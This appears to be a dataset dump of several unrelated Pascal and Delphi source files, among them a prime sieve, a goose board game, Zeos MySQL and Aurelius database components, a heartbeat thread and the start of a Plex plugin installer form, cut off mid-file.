text stringlengths 14 6.51M |
|---|
PROGRAM Prime(INPUT, OUTPUT);
CONST
Max = 100;
Min = 2;
VAR
I, CurNum: INTEGER;
IsPrime: BOOLEAN;
NumberPool: SET OF 0..Max;
BEGIN {Prime}
NumberPool := [Min..Max];
I := Min;
WRITELN('Простые числа в диапазоне от 2 до ', Max, ': ');
WHILE I <= Max
DO
BEGIN
CurNum := I;
IF CurNum IN NumberPool
THEN
BEGIN
WRITE(I, ', ');
WHILE CurNum <= Max
DO
BEGIN
NumberPool := NumberPool - [CurNum];
CurNum := CurNum + I;
END;
END;
I := I + 1;
END;
WRITELN;
END. {Prime}
|
// Algorithme : Jeu_de_l'oie
//But : Faire un jeu de l'oie fonctionnel en demandant à l'utilisateur le chiffre qu'il tire au dé
//Entrées : Tirage du dé
//Sortie : Place voire résultat de la partie.
//CONST :
//Tetedemort <- 58 : entier
//Casedépart <- 0 : entier
//Fin <- 66 : entier
//VAR :
//Dé1, Dé2, sommedés, place : entier
//DEBUT :
//Initialisation de variables :
//Dé1 <- 1
//Dé2 <- 1
//sommedés <- 2
//place <- 0
//TANT QUE (place<>fin) FAIRE
//ECRIRE "Choisissez votre premier lancé de dé"
//LIRE Dé1
//SI ((Dé1>=1)ET(Dé1<=6)) ALORS
//ECRIRE "Choisissez votre deuxième lancé de dé"
//LIRE Dé2
//SI ((Dé2>=1)ET(Dé2<=6)) ALORS
//sommedés <- Dé1+Dé2
//place <- place+sommedés
//SI (place=Tetedemort) ALORS
//place <- 0
//SINON
//SI ((place MODULO 9 = 0)ET(place<>63)) ALORS
//place <- place+9
//SINON
//SI (sommedés>(fin-place)) ALORS
//place <- (fin-(place+sommedés-fin))
//FINSI
//FINSI
//FINSI
//FINSI
//FINTANTQUE
//ECRIRE "Vous avez gagné !"
//FIN
PROGRAM Jeu_de_l_oie;
USES crt;
//But : Faire un jeu de l'oie fonctionnel en demandant à l'utilisateur le chiffre qu'il tire au dé
//Entrées : Tirage du dé
//Sortie : Place voire résultat de la partie.
CONST
Tetedemort=58;
Casedepart=0;
fin=66;
VAR
De1, De2, sommedes, place : integer;
BEGIN
//Initialisation de variables :
De1:=1;
De2:=1;
sommedes:=2;
WHILE (place<>fin) DO
BEGIN
writeln('Choisissez votre premier lancer de de');
readln(De1);
IF ((De1>=1)AND(De1<=6)) THEN
BEGIN
writeln('Choisissez votre deuxieme lancer de de');
readln(De2);
IF ((De2>=1)AND(De2<=6)) THEN
BEGIN
sommedes:=(De1+De2);
place:=(place+sommedes);
IF (place=Tetedemort) THEN
BEGIN
place:=Casedepart;
writeln('Pas de chance ! Vous etes tombe sur la case tete de mort ! Retour a la case depart !');
END
ELSE IF ((place MOD 9=0)AND(place<>63)) THEN
BEGIN
place:=place+9;
writeln('Case oie ! Vous doublez votre lancer !');
END
ELSE IF (place>fin) THEN
place:=(fin-(place+sommedes-fin));
END;
END;
writeln('Vous etes actuellement a la case ',(place))
END;
writeln('Vous avez gagne !');
readln;
END.
|
{********************************************************}
{ }
{ Zeos Database Objects }
{ MySql Query and Table components }
{ }
{ Copyright (c) 1999-2001 Sergey Seroukhov }
{ Copyright (c) 1999-2002 Zeos Development Group }
{ }
{********************************************************}
unit ZMySqlQuery;
interface
{$R *.dcr}
uses
{$IFNDEF LINUX}Windows,{$ENDIF} SysUtils, DB, Classes, ZDirMySql, DBCommon,
ZDirSql, ZMySqlCon, ZMySqlTr, ZToken, ZLibMySql, ZSqlExtra, ZQuery,
ZSqlTypes, ZSqlItems, ZSqlParser, ZSqlBuffer;
{$IFNDEF LINUX}
{$INCLUDE ..\Zeos.inc}
{$ELSE}
{$INCLUDE ../Zeos.inc}
{$ENDIF}
type
TZMySqlOption = (moStoreResult, moUseGen);
TZMySqlOptions = set of TZMySqlOption;
{ Direct MySql query with descendant of TZDataSet }
TZCustomMySqlDataset = class(TZDataSet)
private
FAlternativeView: boolean;
FExtraOptions: TZMySqlOptions;
FUseConnect: TDirMySqlConnect;
FUseTransact: TDirMySqlTransact;
{ Internal methods }
procedure SetDatabase(Value: TZMySqlDatabase);
procedure SetTransact(Value: TZMySqlTransact);
function GetDatabase: TZMySqlDatabase;
function GetTransact: TZMySqlTransact;
function GetAutoIncField(Table: string): Integer;
{$IFDEF USE_GENERATORS}
procedure ApplyGens(Buffer: PRecordData);
{$ENDIF}
protected
{ Overriding ZDataset methods }
procedure QueryRecord; override;
procedure ChangeAddBuffer(AddRecord: PRecordData); override;
procedure CreateConnections; override;
procedure UpdateAfterPost(OldData, NewData: PRecordData); override;
{ Overrided standart methods }
procedure InternalClose; override;
{$IFDEF WITH_IPROVIDER}
{ IProvider support }
function PSInTransaction: Boolean; override;
function PSExecuteStatement(const ASql: string; AParams: TParams;
ResultSet: Pointer): Integer; override;
procedure PSSetCommandText(const CommandText: string); override;
{$ENDIF}
public
constructor Create(AOwner: TComponent); Override;
destructor Destroy; override;
procedure AddTableFields(Table: string; SqlFields: TSqlFields); override;
procedure AddTableIndices(Table: string; SqlFields: TSqlFields;
SqlIndices: TSqlIndices); override;
published
property Database: TZMySqlDatabase read GetDatabase write SetDatabase;
property Transaction: TZMySqlTransact read GetTransact write SetTransact;
property ExtraOptions: TZMySqlOptions read FExtraOptions write FExtraOptions;
property AlternativeView: boolean read FAlternativeView write FAlternativeView default false;
end;
{ Direct MySql query with descendant of TDataSet }
TZMySqlQuery = class(TZCustomMySqlDataset)
public
property MacroCount;
property ParamCount;
published
property MacroChar;
property Macros;
property MacroCheck;
property Params;
property ParamCheck;
property DataSource;
property Sql;
property RequestLive;
property Active;
end;
{ Direct MySql query with descendant of TDataSet }
TZMySqlTable = class(TZCustomMySqlDataset)
public
constructor Create(AOwner: TComponent); override;
published
property TableName;
property ReadOnly default False;
property DefaultIndex default True;
property Active;
end;
implementation
uses ZExtra, ZDBaseConst, ZBlobStream, Math;
{***************** TZCustomMySqlDataset implemantation *******************}
{ Class constructor }
constructor TZCustomMySqlDataset.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
DatabaseType := dtMySql;
Query := TDirMySqlQuery.Create(nil, nil);
FExtraOptions := [moStoreResult];
FUseConnect := TDirMySqlConnect.Create;
FUseTransact := TDirMySqlTransact.Create(FUseConnect);
end;
{ Class destructor }
destructor TZCustomMySqlDataset.Destroy;
begin
inherited Destroy;
FUseTransact.Free;
FUseConnect.Free;
end;
{ Set connect to database component }
procedure TZCustomMySqlDataset.SetDatabase(Value: TZMySqlDatabase);
begin
inherited SetDatabase(Value);
end;
{ Set connect to transact-server component }
procedure TZCustomMySqlDataset.SetTransact(Value: TZMySqlTransact);
begin
inherited SetTransact(Value);
end;
{ Get connect to database component }
function TZCustomMySqlDataset.GetDatabase: TZMySqlDatabase;
begin
Result := TZMySqlDatabase(DatabaseObj);
end;
{ Get connect to transact-server component }
function TZCustomMySqlDataset.GetTransact: TZMySqlTransact;
begin
Result := TZMySqlTransact(TransactObj);
end;
{ Read query from server to internal buffer }
procedure TZCustomMySqlDataset.QueryRecord;
var
I, Count: Integer;
RecordData: PRecordData;
FieldDesc: PFieldDesc;
BlobPtr: PRecordBlob;
Cancel: Boolean;
Temp: string;
begin
{ Start fetching fields }
Count := SqlBuffer.Count;
while not Query.EOF and (Count = SqlBuffer.Count) do
begin
{ Go to the record }
if SqlBuffer.FillCount > 0 then
Query.Next;
{ Invoke OnProgress event }
if Assigned(OnProgress) then
begin
Cancel := False;
OnProgress(Self, psRunning, ppFetching, Query.RecNo+1,
MaxIntValue([Query.RecNo+1, Query.RecordCount]), Cancel);
if Cancel then Query.Close;
end;
if Query.EOF then Break;
{ Getting record }
RecordData := SqlBuffer.Add;
for I := 0 to SqlBuffer.SqlFields.Count - 1 do
begin
{ Define field structure }
FieldDesc := SqlBuffer.SqlFields[I];
if FieldDesc.FieldNo < 0 then Continue;
if Query.FieldIsNull(FieldDesc.FieldNo) and
not (FieldDesc.FieldType in [ftBlob, ftMemo]) then
Continue;
{ Converting field values }
case FieldDesc.FieldType of
ftDateTime:
begin
{ Process datetime and timestamp field }
if Query.FieldType(FieldDesc.FieldNo) = FIELD_TYPE_TIMESTAMP then
SqlBuffer.SetField(FieldDesc, MyTimestampToSqlDate(
Query.Field(FieldDesc.FieldNo)), RecordData)
else
SqlBuffer.SetField(FieldDesc, Query.Field(FieldDesc.FieldNo),
RecordData);
end;
ftBlob, ftMemo:
begin
{ Initialize blob and memo fields }
BlobPtr := PRecordBlob(@RecordData.Bytes[FieldDesc.Offset+1]);
BlobPtr.BlobType := btInternal;
{ Fill not null fields }
if not Query.FieldIsNull(FieldDesc.FieldNo) then
begin
RecordData.Bytes[FieldDesc.Offset] := 0;
BlobPtr.Size := Query.FieldSize(FieldDesc.FieldNo);
BlobPtr.Data := AllocMem(BlobPtr.Size);
if FieldDesc.FieldType = ftBlob then
System.Move(Query.FieldBuffer(FieldDesc.FieldNo)^, BlobPtr.Data^,
BlobPtr.Size)
else
System.Move(PChar(ConvertFromSqlEnc(Query.Field(FieldDesc.FieldNo)))^,
BlobPtr.Data^, BlobPtr.Size)
end
{ Fill null fields }
else
begin
BlobPtr.Size := 0;
BlobPtr.Data := nil;
end;
end;
ftString:
begin
Temp := ConvertFromSqlEnc(Query.Field(FieldDesc.FieldNo));
SqlBuffer.SetFieldDataLen(FieldDesc, PChar(Temp),
RecordData, Length(Temp));
end;
ftSmallInt, ftInteger, ftFloat, ftBoolean, ftDate, ftTime, ftAutoInc
{$IFNDEF VER100}, ftLargeInt{$ENDIF}:
SqlBuffer.SetField(FieldDesc, Query.Field(FieldDesc.FieldNo), RecordData);
else
DatabaseError(SUnknownType + FieldDesc.Alias);
end;
end;
{ Filter received record }
SqlBuffer.FilterItem(SqlBuffer.Count-1);
end;
end;
{ Internal close query }
procedure TZCustomMySqlDataset.InternalClose;
begin
inherited InternalClose;
{ Close lowerlevel connect to database }
FUseTransact.Close;
FUseConnect.Disconnect;
end;
{ Internal procedure for change inserting data }
procedure TZCustomMySqlDataset.ChangeAddBuffer(AddRecord: PRecordData);
begin
{$IFDEF USE_GENERATORS}
if moUseGen in FExtraOptions then
ApplyGens(AddRecord.Data);
{$ENDIF}
end;
{************** Sql-queries processing ******************}
{ Define all fields in query }
procedure TZCustomMySqlDataset.AddTableFields(Table: string;
SqlFields: TSqlFields);
var
Size: Integer;
Decimals: Integer;
FieldType: TFieldType;
Query: TDirMySqlQuery;
Default: string;
AutoType: TAutoType;
begin
{ Set start values }
Query := TDirMySqlQuery(Transaction.QueryHandle);
Query.ShowColumns(Table, '');
{ Fetch columns description }
while not Query.EOF do
begin
{ Evalute field parameters }
Size := 0;
Decimals := 0;
FieldType := MySqlToDelphiTypeDesc(Query.Field(1), Size, Decimals, AlternativeView);
if (Query.Field(4) <> '') and (Query.Field(4) <> 'NULL') then
Default := ''''+Query.Field(4)+''''
else Default := '';
if StrCaseCmp(Query.Field(5), 'auto_increment') then AutoType := atAutoInc
else AutoType := atNone;
{ Put new field description }
SqlFields.Add(Table, Query.Field(0), '', Query.Field(1), FieldType, Size,
Decimals, AutoType, Query.Field(2) <> '', False, Default, btInternal);
Query.Next;
end;
Query.Close;
end;
{ Define all indices in query }
procedure TZCustomMySqlDataset.AddTableIndices(Table: string;
SqlFields: TSqlFields; SqlIndices: TSqlIndices);
var
KeyType: TKeyType;
SortType: TSortType;
Query: TDirMySqlQuery;
begin
{ Set start values }
Query := TDirMySqlQuery(TransactObj.QueryHandle);
Query.ShowIndexes(Table);
{ Fetch index descriptions }
while not Query.EOF do
begin
{ Define a key type }
if Query.Field(1) = '0' then
begin
if StrCmpBegin(Query.Field(2),'PRIMARY') then KeyType := ktPrimary
else KeyType := ktUnique;
end else KeyType := ktIndex;
{ Define sorting type }
if Query.Field(5) = 'A' then SortType := stAscending
else SortType := stDescending;
{ Put new index description }
SqlIndices.AddIndex(Query.Field(2), Table, Query.Field(4),
KeyType, SortType);
Query.Next;
end;
Query.Close;
end;
{ Get auto_increment field of table }
function TZCustomMySqlDataset.GetAutoIncField(Table: string): Integer;
var
I: Integer;
FieldDesc: PFieldDesc;
begin
Result := -1;
for I := 0 to SqlBuffer.SqlFields.Count-1 do
begin
FieldDesc := SqlBuffer.SqlFields[I];
if (FieldDesc.AutoType = atAutoInc) and StrCaseCmp(FieldDesc.Table, Table) then
begin
Result := I;
Exit;
end;
end;
end;
{$IFDEF USE_GENERATORS}
{ Auto set zeos generators to primary keys }
procedure TZCustomMySqlDataset.ApplyGens(Buffer: PRecordData);
var
KeyField, KeyAlias: string;
KeyNo, GenValue: LongInt;
begin
KeyField := GetPrimaryKey(SqlParse.Tables[0]);
KeyAlias := GetPrimaryKeyAlias(SqlParser.Tables[0]);
KeyNo := GetRealFieldNo(KeyAlias);
if KeyNo < 0 then Continue;
GenValue := Database.GetGen(ExtractField(FTables[0]));
SetRealFieldValue(KeyNo, IntToStr(GenValue), Buffer);
end;
{$ENDIF}
{ Update record after post updates }
procedure TZCustomMySqlDataset.UpdateAfterPost(OldData, NewData: PRecordData);
var
Index: Integer;
FieldDesc: PFieldDesc;
begin
{ Apply auto_increment fields }
Index := GetAutoIncField(SqlParser.Tables[0]);
if (OldData.RecordType = ztInserted) and (Index >= 0) then
begin
FieldDesc := SqlBuffer.SqlFields[Index];
if SqlBuffer.GetFieldNull(FieldDesc, NewData) then
SqlBuffer.SetField(FieldDesc, EvaluteDef('LAST_INSERT_ID()'), NewData);
end;
inherited UpdateAfterPost(OldData, NewData);
end;
{ Create demanded connections }
procedure TZCustomMySqlDataset.CreateConnections;
begin
{ Check database and transaction object }
if not Assigned(DatabaseObj) then
DatabaseError(SConnectNotDefined);
if not Assigned(TransactObj) then
DatabaseError(STransactNotDefined);
{ Connect to transact-server }
TransactObj.Connect;
if not TransactObj.Connected then
DatabaseError(SConnectTransactError);
{ Define database connect by open mode }
if moStoreResult in FExtraOptions then
begin
Query.Connect := DatabaseObj.Handle;
Query.Transact := TransactObj.Handle;
TDirMySqlQuery(Query).StoreResult := True;
end
else
begin
{ Attach to database }
FUseConnect.HostName := DatabaseObj.Handle.HostName;
FUseConnect.Port := DatabaseObj.Handle.Port;
FUseConnect.Database := DatabaseObj.Handle.Database;
FUseConnect.Login := DatabaseObj.Handle.Login;
FUseConnect.Passwd := DatabaseObj.Handle.Passwd;
FUseConnect.Connect;
if not FUseConnect.Active then
DatabaseError(SConnectError);
{ Attach to database }
//!! FUseTransact.TransIsolation := TransactObj.Handle.TransIsolation;
FUseTransact.TransactSafe := TransactObj.Handle.TransactSafe;
FUseTransact.Open;
if not FUseTransact.Active then
DatabaseError(SConnectError);
{ Assign new connect }
Query.Connect := FUseConnect;
Query.Transact := FUseTransact;
TDirMySqlQuery(Query).StoreResult := False;
end;
end;
{$IFDEF WITH_IPROVIDER}
{ IProvider support }
{ Is in transaction }
function TZCustomMySqlDataset.PSInTransaction: Boolean;
begin
Result := False;
end;
{ Execute an sql statement }
function TZCustomMySqlDataset.PSExecuteStatement(const ASql: string; AParams: TParams;
ResultSet: Pointer): Integer;
begin
if Assigned(ResultSet) then
begin
TDataSet(ResultSet^) := TZMySqlQuery.Create(nil);
with TZMySqlQuery(ResultSet^) do
begin
Sql.Text := ASql;
Params.Assign(AParams);
Open;
Result := RowsAffected;
end;
end
else
Result := FTransact.ExecSql(ASql);
end;
{ Set command query }
procedure TZCustomMySqlDataset.PSSetCommandText(const CommandText: string);
begin
Close;
if Self is TZMySqlQuery then
TZMySqlQuery(Self).Sql.Text := CommandText
else
if Self is TZMySqlTable then
TZMySqlQuery(Self).TableName := CommandText;
end;
{$ENDIF}
{ TZMySqlTable }
constructor TZMySqlTable.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
DefaultIndex := True;
ReadOnly := False;
end;
end.
|
PROGRAM PrintPalindrome(INPUT, OUTPUT);
BEGIN {PrintPalindrome}
WRITE('MADAM, ');
WRITELN('I''M ADAM')
END. {PrintPalindrome}
|
unit Aurelius.Drivers.IBExpress;
{$I Aurelius.inc}
interface
uses
Classes, DB, Variants, Generics.Collections,
IBQuery, IBDatabase,
Aurelius.Drivers.Base,
Aurelius.Drivers.Interfaces;
type
TIBExpressResultSetAdapter = class(TDriverResultSetAdapter<TIBQuery>)
end;
TIBExpressStatementAdapter = class(TInterfacedObject, IDBStatement)
private
FIBQuery: TIBQuery;
public
constructor Create(AIBQuery: TIBQuery);
destructor Destroy; override;
procedure SetSQLCommand(SQLCommand: string);
procedure SetParams(Params: TEnumerable<TDBParam>);
procedure Execute;
function ExecuteQuery: IDBResultSet;
end;
TIBExpressConnectionAdapter = class(TDriverConnectionAdapter<TIBDatabase>, IDBConnection)
private
FDefaultTransaction: TIBTransaction;
public
constructor Create(AConnection: TIBDatabase; ASQLDialect: string; AOwnsConnection: boolean); override;
destructor Destroy; override;
procedure Connect;
procedure Disconnect;
function IsConnected: Boolean;
function CreateStatement: IDBStatement;
function BeginTransaction: IDBTransaction;
function RetrieveSqlDialect: string; override;
end;
TIBExpressTransactionAdapter = class(TInterfacedObject, IDBTransaction)
private
FIBTransaction: TIBTransaction;
FIBDatabase: TIBDatabase;
public
constructor Create(IBTransaction: TIBTransaction; IBDatabase: TIBDatabase);
destructor Destroy; override;
procedure Commit;
procedure Rollback;
end;
implementation
uses
SysUtils,
Aurelius.Drivers.Exceptions,
Aurelius.Global.Utils;
{ TIBExpressStatementAdapter }
constructor TIBExpressStatementAdapter.Create(AIBQuery: TIBQuery);
begin
FIBQuery := AIBQuery;
end;
destructor TIBExpressStatementAdapter.Destroy;
begin
FIBQuery.Free;
inherited;
end;
procedure TIBExpressStatementAdapter.Execute;
begin
if not FIBQuery.Database.Connected then
FIBQuery.Database.Connected := true;
if FIBQuery.Transaction.InTransaction then
FIBQuery.ExecSQL
else
begin
FIBQuery.Transaction.StartTransaction;
try
FIBQuery.ExecSQL;
FIBQuery.Transaction.Commit;
except
FIBQuery.Transaction.Rollback;
raise;
end;
end;
end;
function TIBExpressStatementAdapter.ExecuteQuery: IDBResultSet;
var
ResultSet: TIBQuery;
I: Integer;
begin
ResultSet := TIBQuery.Create(nil);
try
ResultSet.Database := FIBQuery.Database;
ResultSet.SQL.Text := FIBQuery.SQL.Text;
for I := 0 to FIBQuery.Params.Count - 1 do
begin
ResultSet.Params[I].DataType := FIBQuery.Params[I].DataType;
ResultSet.Params[I].Value := FIBQuery.Params[I].Value;
end;
ResultSet.Open;
except
ResultSet.Free;
raise;
end;
Result := TIBExpressResultSetAdapter.Create(ResultSet);
end;
procedure TIBExpressStatementAdapter.SetParams(Params: TEnumerable<TDBParam>);
var
P: TDBParam;
Parameter: TParam;
Bytes: TBytes;
begin
for P in Params do
begin
Parameter := FIBQuery.ParamByName(P.ParamName);
if P.ParamType = ftBlob then
begin
Bytes := TUtils.VariantToBytes(P.ParamValue);
Parameter.DataType := P.ParamType;
if VarIsNull(P.ParamValue) or (Length(Bytes) = 0) then
Parameter.Clear
else
Parameter.AsBlob := Bytes;
end
else
begin
Parameter.DataType := P.ParamType;
Parameter.Value := P.ParamValue;
end;
// Workaroudn for some unsupported data types
if Parameter.DataType = ftWideMemo then
Parameter.AsMemo := Parameter.Value;
end;
end;
procedure TIBExpressStatementAdapter.SetSQLCommand(SQLCommand: string);
begin
FIBQuery.SQL.Text := SQLCommand;
end;
{ TIBExpressConnectionAdapter }
destructor TIBExpressConnectionAdapter.Destroy;
begin
FDefaultTransaction.Free;
inherited;
end;
procedure TIBExpressConnectionAdapter.Disconnect;
begin
if Connection <> nil then
Connection.Connected := False;
end;
function TIBExpressConnectionAdapter.RetrieveSqlDialect: string;
begin
if Connection <> nil then
Result := 'Interbase'
else
Result := '';
end;
function TIBExpressConnectionAdapter.IsConnected: Boolean;
begin
if Connection <> nil then
Result := Connection.Connected
else
Result := false;
end;
constructor TIBExpressConnectionAdapter.Create(AConnection: TIBDatabase;
ASQLDialect: string; AOwnsConnection: boolean);
begin
inherited;
FDefaultTransaction := TIBTransaction.Create(nil);
FDefaultTransaction.DefaultDatabase := AConnection;
FDefaultTransaction.AutoStopAction := saCommit;
end;
function TIBExpressConnectionAdapter.CreateStatement: IDBStatement;
var
Statement: TIBQuery;
begin
if Connection <> nil then
begin
Statement := TIBQuery.Create(nil);
try
Statement.Database := Connection;
Statement.Transaction := FDefaultTransaction;
except
Statement.Free;
raise;
end;
Result := TIBExpressStatementAdapter.Create(Statement);
end else
Result := nil;
end;
procedure TIBExpressConnectionAdapter.Connect;
begin
if Connection <> nil then
Connection.Connected := True;
end;
function TIBExpressConnectionAdapter.BeginTransaction: IDBTransaction;
begin
if Connection = nil then
Exit(nil);
// We must open the connection here, otherwise the BeginTransaction will not work
// This is because BeginTransaction checks if database supports transaction, and it only
// does that after a connection. It appears to be a bug in IBExpress
Connection.Connected := true;
if not FDefaultTransaction.InTransaction then
begin
FDefaultTransaction.StartTransaction;
Result := TIBExpressTransactionAdapter.Create(FDefaultTransaction, Connection);
end
else
Result := TIBExpressTransactionAdapter.Create(nil, Connection);
end;
{ TIBExpressTransactionAdapter }
procedure TIBExpressTransactionAdapter.Commit;
begin
if (FIBTransaction = nil) then
Exit;
FIBTransaction.Commit;
end;
constructor TIBExpressTransactionAdapter.Create(
IBTransaction: TIBTransaction; IBDatabase: TIBDatabase);
begin
FIBTransaction := IBTransaction;
FIBDatabase := IBDatabase;
end;
destructor TIBExpressTransactionAdapter.Destroy;
begin
inherited;
end;
procedure TIBExpressTransactionAdapter.Rollback;
begin
if (FIBTransaction = nil) then
Exit;
FIBTransaction.Rollback;
end;
end.
|
unit XLSRegDb;
{
********************************************************************************
******* XLSReadWriteII V1.14 *******
******* *******
******* Copyright(C) 1999,2002 Lars Arvidsson, Axolot Data *******
******* *******
******* email: components@axolot.com *******
******* URL: http://www.axolot.com *******
********************************************************************************
** Users of the XLSReadWriteII component must accept the following **
** disclaimer of warranty: **
** **
** XLSReadWriteII is supplied as is. The author disclaims all warranties, **
** expressedor implied, including, without limitation, the warranties of **
** merchantability and of fitness for any purpose. The author assumes no **
** liability for damages, direct or consequential, which may result from the **
** use of XLSReadWriteII. **
********************************************************************************
}
{$B-}
{$I XLSRWII.inc}
interface
uses Classes, XLSReadWriteII, BIFFRecsII, Picture, XLSDbRead;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('XLS', [TXLSDbRead]);
end;
end.
|
unit PEWSHeartbeat;
interface
uses
SysUtils, Classes, ADOdb, windows;
type
TErrorProc = procedure (Sender : TObject; ErrorMsg : string) of object;
TAppState = (asOK, asTHREAD, asPLC, asSTORAGE, asHARDWARE);
EPEWSHBException = class(Exception);
const
SAppState : array[TAppState] of string
= ('OK', 'THREAD', 'PLC', 'STORAGE', 'HARDWARE');
type
TPEWSHeartbeatThread = class(TThread)
private
{ Private declarations }
fAppName:string;
fConnectionString:string;
fAppState:TAppState;
fsleeptime:integer;
fADOConnection: TADOConnection;
fADOCommand: TADOCommand;
fEvent:THandle;
protected
procedure Wakeup;
procedure Execute; override;
published
property ConnectionString:string
read fConnectionstring
write fConnectionString;
property SleepTime:integer
read fsleeptime
write fsleeptime;
property AppName:string
read fAppName
write fAppName;
property AppState:TAppState
read fAppState
write fAppState;
end;
TPEWSHeartbeat = class(TComponent)
private
{ Private declarations }
fActive:boolean;
fAppName:string;
fConnectionstring:string;
fthread:TPEWSHeartbeatThread;
FError: TErrorProc;
fHBInterval:integer;
fAppState:TAppState;
protected
{ Protected declarations }
procedure SetAppName(appname:string);
procedure SetConnectionString(connectionstring:string);
procedure SetAppState(appstate:TAppState);
procedure SetActive(Active:boolean);
procedure SetHBInterval(HBInterval:integer);
procedure SetError(value : TErrorProc);
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
{ Published declarations }
property Active: boolean
read fActive
write SetActive;
property AppName: string
read fAppName
write SetAppName;
property OnError : TErrorProc
read FError
write SetError;
property ConnectionString: string
read fconnectionstring
write SetConnectionString;
property HBInterval:integer
read fHBInterval
write SetHBInterval;
property AppState:TAppState
read fAppState
write SetAppState;
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('NUMMI Tools', [TPEWSHeartbeat]);
end;
constructor TPEWSHeartbeat.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
fHBInterval:=15000;
if (not (csDesigning in ComponentState)) then
begin
fThread:=TPEWSHeartbeatThread.Create(true);
fthread.FreeOnTerminate:=FALSE;
end;
end;
destructor TPEWSHeartbeat.Destroy;
begin
if assigned(fThread) then
begin
fThread.Terminate;
fThread.Wakeup;
fthread.WaitFor;
fThread.Free;
end;
inherited destroy;
end;
procedure TPEWSHeartbeat.SetAppName(appname:string);
begin
fAppName:=AppName;
if assigned(fThread) then
fThread.AppName:=appname;
end;
procedure TPEWSHeartbeat.SetConnectionString(connectionstring:string);
begin
fconnectionstring:=connectionstring;
if assigned(fThread) then
fThread.ConnectionString:=connectionstring;
end;
procedure TPEWSHeartbeat.SetAppState(appstate:TAppState);
begin
fAppState:=AppState;
if assigned(fThread) then
fThread.AppState:=appstate;
end;
procedure TPEWSHeartbeat.SetActive(Active:boolean);
begin
if assigned(fThread) then
if active then
if fThread.Suspended then
fThread.Resume
else
if not fThread.Suspended then
fThread.Suspend;
fActive:=active;
end;
procedure TPEWSHeartbeat.SetHBInterval(HBInterval:integer);
begin
if assigned(fThread) then
fThread.SleepTime:=HBInterval;
fHBInterval:=HBInterval;
end;
procedure TPEWSHeartbeat.SetError(value : TErrorProc );
begin
FError:= value;
end;
////////////////////////////////////////////////////////////////////////////////
//
// Hearbeat Thread
//
//
//
//
//
////////////////////////////////////////////////////////////////////////////////
procedure TPEWSHeartbeatThread.Execute;
const
UpdatePEWSSQL = 'UPDATE PEWS SET AppHeartBeat = AppHeartBeat+1, AppState = ''%s'' WHERE App_From = ''%s'' ';
begin
// create event object for thread wake
FEvent := CreateEvent(
Nil, // use default security
true, // event will be manually reset
false, // event starts out not signaled
nil ); // event has no name
If FEvent = 0 Then
begin
raise EPEWSHBException.Create('Unable to create Event, PEWS HB disabled');
end
else
begin
{ Place thread code here }
fADOConnection:=TADOConnection.Create(nil);
fADOConnection.LoginPrompt:=False;
fADOConnection.ConnectionString:=fConnectionString;
fADOCommand:=TADOCommand.Create(nil);
fADOCommand.Connection:=fADOConnection;
while not terminated do
begin
try
if not fADOConnection.Connected then
fADOConnection.Connected:=TRUE;
fADOCommand.CommandText:=format(UpdatePEWSSQL,[sAppState[fAppState],fAppName]);
fADOCommand.Execute;
except
on e:exception do
begin
fADOConnection.Connected:=FALSE;
end;
end;
//sleep(fSleepTime);
WaitForSingleObject( FEvent, fsleeptime );
ResetEvent( FEvent );
end;
fADOConnection.Connected:=FALSE;
fADOCommand.Free;
fADOConnection.Free;
end;
end;
procedure TPEWSHeartbeatThread.Wakeup;
begin
// executes in callers thread context
SetEvent( FEvent );
end;
end.
|
unit main;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Menus, ComCtrls, ExtCtrls, XPMan, StdCtrls, AbBase, AbBrowse,
AbZBrows, AbUnzper;
type
TForm1 = class(TForm)
panMain: TPanel;
StatusBar1: TStatusBar;
MainMenu1: TMainMenu;
File1: TMenuItem;
Exit1: TMenuItem;
About1: TMenuItem;
AboutThis1: TMenuItem;
Settings1: TMenuItem;
EnableDebug1: TMenuItem;
XPManifest1: TXPManifest;
rEdtMain: TRichEdit;
PanButtom: TPanel;
btnExit: TButton;
btnGo: TButton;
AbUnZipper1: TAbUnZipper;
procedure FormCreate(Sender: TObject);
procedure EnableDebug1Click(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure btnExitClick(Sender: TObject);
procedure btnGoClick(Sender: TObject);
private
{ Private declarations }
function findPlugInDir(var myPlugInsDir : String) : Boolean;
function getFromGitHub : boolean;
function extractZip(myPlugInsDir : String) : Boolean;
procedure cleanUp(myPlugInsDir : String);
function allreadyInstalled(myPlugInsDir : String) : boolean;
procedure DeleteDirectory(const Name: string);
public
{ Public declarations }
end;
var
Form1: TForm1;
PlexPlugInDir : WideString;
implementation
uses debug, URLMon, registry;
Const
urlGitHub = 'https://github.com/mikedm139/UnSupportedAppstore.bundle/archive/master.zip';
{$R *.dfm}
procedure TForm1.btnExitClick(Sender: TObject);
begin
self.Close;
end;
procedure TForm1.btnGoClick(Sender: TObject);
var
myPlugInsDir : String;
buttonSelected : Integer;
sAlreadyThere : String;
begin
// Check for PlugIn Dir
if self.findPlugInDir(myPlugInsDir) Then
begin
if self.allreadyInstalled(myPlugInsDir) then
begin
// Already installed, so what now?
sAlreadyThere := 'UnSupported AppStore seems to be installed already.';
sAlreadyThere := sAlreadyThere + Chr(13) + 'Do you want to reinstall it?';
if mrCancel = MessageDlg(sAlreadyThere, mtConfirmation, mbOKCancel, 0) Then
begin
exitCode := 2;
exit;
end
else
begin
// Remove the old one
self.DeleteDirectory(myPlugInsDir + '\UnSupportedAppstore.bundle');
end;
end;
if getFromGitHub then
begin
self.extractZip(myPlugInsDir);
self.cleanUp(myPlugInsDir);
end
else
begin
exitCode := 1;
exit;
end;
end
else
begin
ShowMessage('Not Found');
exitCode := 1;
exit;
end;
end;
procedure TForm1.EnableDebug1Click(Sender: TObject);
begin
// Enable-Disable Debug logging
EnableDebug1.Checked := Not(EnableDebug1.Checked)
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
If MessageDlg('Do you really want to exit ' + Application.Title + '?', mtConfirmation, [mbYes, mbNo], 0) = mrYes Then
Begin
if EnableDebug1.Checked then DebugPrint('Ending Program');
Action := caFree
End
else
Action := caNone;
end;
function TForm1.allreadyInstalled(myPlugInsDir : String) : boolean;
// Returns true if AppStore is already there
begin
